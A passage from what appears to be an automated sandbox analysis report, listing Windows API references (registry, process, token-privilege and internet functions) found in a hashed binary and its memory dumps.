"ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CharUpperW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "DefWindowProcW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetForegroundWindow"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "LoadCursorW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetCursor"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "EnableWindow"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetFocus"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "ShowWindow"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetActiveWindow"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "LoadIconW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "ExitWindowsEx"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "MessageBoxW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "UnregisterClassW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CharNextW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "TranslateMessage"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "DispatchMessageW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SystemParametersInfoW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "KillTimer"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetTimer"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RtlGetUILanguageInfo"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RtlNtStatusToDosError"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RtlGetNtProductType"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RtlpSetPreferredUILanguages"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RtlVirtualUnwind"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RtlLookupFunctionEntry"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "RtlCaptureContext"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "ShellExecuteExW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SHBrowseForFolderW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SHGetPathFromIDListW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CoInitializeEx"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CoUninitialize"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CoTaskMemFree"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "StringFromGUID2"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CoGetObject"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CoInitialize"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "CoInitializeSecurity"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "PathFindExtensionW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "StrStrIW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "StrCmpIW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "PathFileExistsW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "PathRemoveFileSpecW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "PathIsDirectoryW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "PathRemoveBackslashW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetVersionExA"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "MultiByteToWideChar"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "WideCharToMultiByte"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetStartupInfoW"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "OutputDebugStringA"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetTickCount"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "TerminateProcess"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "VirtualQuery"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "VirtualFree"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "VirtualAlloc"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "GetSystemInfo"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "VirtualProtect"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "UnregisterClassA"; File: "ba6576e842991fd627ffb782ae60a4c694c77b963c5afc73bc358c2cb27c3b57.bin") Found reference to API (Indicator: "Beep"; Source: "00000000-00006900.00000000.68879.6CB30000.00000002.mdmp, 00000000-00006900.00000001.70800.6CB30000.00000002.mdmp, 00000000-00006900.00000002.72721.6CB30000.00000002.mdmp") Found reference to API (Indicator: "CoCreateInstance"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "WaitForMultipleObjectsEx"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "ReleaseMutex"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RegDeleteKeyExW"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp") Found reference to API (Indicator: "RegDeleteKeyW"; Source: "00000000-00006900.00000000.68879.6D1A1000.00000020.mdmp, 00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1A1000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1A1000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp") Found reference to API (Indicator: "VirtualAlloc"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "InternetOpenA"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp") Found reference to API (Indicator: "InternetOpenUrlA"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp") Found reference to API (Indicator: "InternetReadFile"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp") Found reference to API (Indicator: "InternetCloseHandle"; Source: "00000000-00006900.00000000.68879.6D1E6000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E6000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E6000.00000040.mdmp") Found reference to API (Indicator: "EventWrite"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RegOpenKeyExW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RegCreateKeyExW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RegSetValueExW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RegEnumKeyExW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RegQueryValueExW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "EventUnregister"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "EventRegister"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CreateWellKnownSid"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetEntriesInAclW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorOwner"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorGroup"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RegGetValueW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RegEnumValueW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "RegDeleteTreeW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "PrivilegeCheck"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "InitializeCriticalSection"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "DeleteCriticalSection"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "EnterCriticalSection"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "LeaveCriticalSection"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "K32EnumProcesses"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 00000000-00006900.00000002.72721.05A80000.00000040.mdmp, 00000000-00006900.00000002.72721.05C00000.00000040.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "OpenProcess"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "QueryFullProcessImageNameW"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.6D1E7000.00000020.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00006900.00000000.68879.6D1E7000.00000020.mdmp, 00000000-00006900.00000001.70800.05070000.00000004.mdmp, 00000000-00006900.00000001.70800.05A80000.00000040.mdmp, 00000000-00006900.00000001.70800.05C00000.00000040.mdmp, 00000000-00006900.00000001.70800.6D1E7000.00000020.mdmp, 00000000-00006900.00000002.72721.05070000.00000004.mdmp, 